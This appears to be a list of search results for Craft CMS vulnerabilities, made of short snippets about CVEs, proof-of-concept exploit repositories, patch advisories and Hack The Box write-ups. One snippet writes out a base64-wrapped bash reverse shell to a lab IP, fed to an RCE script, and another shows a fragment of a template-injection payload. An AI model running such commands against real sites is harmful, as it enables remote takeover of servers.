267 matches found
CVE-2025-52122
CVE CraftCMS Freeform CraftCMS Freeform contient une vulnérabilité SSTI, entraînant une injection de code arbitraire pour tous les utilisateurs ayant accès à l'édition d'un formulaire titre de soumission. Les versions vulnérables sont v5.0.0 test % set form = freeform.form'pentest' % % if form %...
CVE-2025-32432
Ensemble d'outils d'exploitation de la vulnérabilité CraftCMS CVE-2025-32432 Outil d'exploitation de vulnérabilité d'exécution de code à distance sur CraftCMS basé sur la recherche de SensePost. 📁 Description des fichiers 🎯 Outils principaux 1. finalpoc.py - POC final optimisé Prend en charge la...
CraftCMS SEOmatic - Server-Side Template Injection
In the SEOmatic plugin up to 3.4.11 for Craft CMS 3, it is possible for unauthenticated attackers to perform a Server-Side. Template Injection, allowing for remote code execution. id: CVE-2021-41749 info: name: CraftCMS SEOmatic - Server-Side Template Injection author: iamnoooob,ritikchaddha...
CVE-2025-32432
Exploit CraftCMS CVE-2025-32432 par Chirag Artani Aperçu Ce dépôt contient un script d'exploit de preuve de concept pour CVE-2025-32432, une vulnérabilité d'exécution de code à distance RCE sans authentification affectant CraftCMS versions 4.x et 5.x. La vulnérabilité se situe dans la...
craftcms-cve-2025-32432-rce
payload=$printf %s "bash -c 'bash -i & /dev/tcp/10.10.14.96/4444 0&1'" | base64 -w0; ./craftrce.py http://10.129.66.170 "echo $payload | base64 -d | bash" orion.htb...
HackTheBox-Layover
🧰 HTB / Pentest Writeups My personal knowledge base of Hack T...
Craft CMS < 3.3.0 - Server-Side Template Injection
Craft CMS before 3.3.0 is susceptible to server-side template injection via the SEOmatic component that could lead to remote code execution via malformed data submitted to the metacontainers controller. id: CVE-2020-9757 info: name: Craft CMS 3.3.0 - Server-Side Template Injection author:...
CVE-2025-32432-PoC
Scripts d'exploitation CVE-2025-32432 PoC Python Exécution de code à distance sans authentification pour CraftCMS 3.x / 4.x / 5.x Mainteneur du PoC : C.T.Y. usage recherche uniquement Découverte de la vulnérabilité : Nicolas Bourras – Orange Cyberdefense Inspiration supplémentaire pour le PoC :...
PoC_CVE-2025-32432
CraftCMS CVE-2025-32432 - Clean PoC Version nettoyée et améliorée du Proof of Concept original. Crédits Recherche originale : Orange Cyberdefense & Chirag Artani Version nettoyée et améliorée : n40y Licence Ce projet est sous licence MIT. Voir le fichier LICENSE pour plus de détails. Disclaimer C...
CraftCMS - Remote Code Execution
Craft is a flexible, user-friendly CMS for creating custom digital experiences on the web and beyond. Starting from version 3.0.0-RC1 to before 3.9.15, 4.0.0-RC1 to before 4.14.15, and 5.0.0-RC1 to before 5.6.17, Craft is vulnerable to remote code execution. This is a high-impact, low-complexity...
CraftCMS < 4.4.15 - Unauthenticated Remote Code Execution
Craft CMS is a platform for creating digital experiences. This is a high-impact, low-complexity attack vector leading to Remote Code Execution RCE. Users running Craft installations before 4.4.15 are encouraged to update to at least that version to mitigate the issue. This issue has been fixed in...
Exploit for CVE-2026-44011
CraftCMS-CVE-2026-44011-PoC-RCE...
CLSA-2026-1790174106 TuxCare security update for craftcms/cms (1 CVE)
TuxCare rebuilt craftcms/cms to address 1 CVE. Fixed in 3.9.15-p10+tuxcare...
PT-2026-105398
TuxCare rebuilt craftcms/cms to address 1 CVE. Fixed in 3.9.15-p10+tuxcare...
PT-2026-98329
TuxCare rebuilt craftcms/cms to address 1 CVE. Fixed in 4.18.7-p1+tuxcare...
CLSA-2026-1788430341 TuxCare security update for craftcms/cms (4 CVEs)
TuxCare rebuilt craftcms/cms to address 4 CVEs. Fixed in 3.9.15-p9+tuxcare...
PT-2026-90914
TuxCare rebuilt craftcms/cms to address 4 CVEs. Fixed in 3.9.15-p9+tuxcare...
htb-labs-orion
🚀 HTB Labs - Orion English | EspañolREADME-ES...